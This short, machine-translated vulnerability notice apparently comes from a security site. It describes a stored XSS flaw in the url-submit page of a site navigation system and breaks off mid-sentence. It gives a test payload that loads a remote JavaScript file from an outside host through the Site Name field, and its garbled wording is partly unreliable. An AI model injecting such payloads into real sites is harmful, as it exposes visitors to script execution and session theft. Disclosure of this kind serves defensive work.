1 1 4. Site Navigation Station system of V1. 1 3 XSS cross-site attacks-vulnerability warning-the black bar safety net

url-submit/index. php to submit the data is not filtered directly into the database,resulting in a savings ofXSSvulnerability Test method: In the Site Name column fill in thescript src=http://www. hackqing. cn/qingexp. js/script（src is fill in your own js file for the address,don't tell me that t...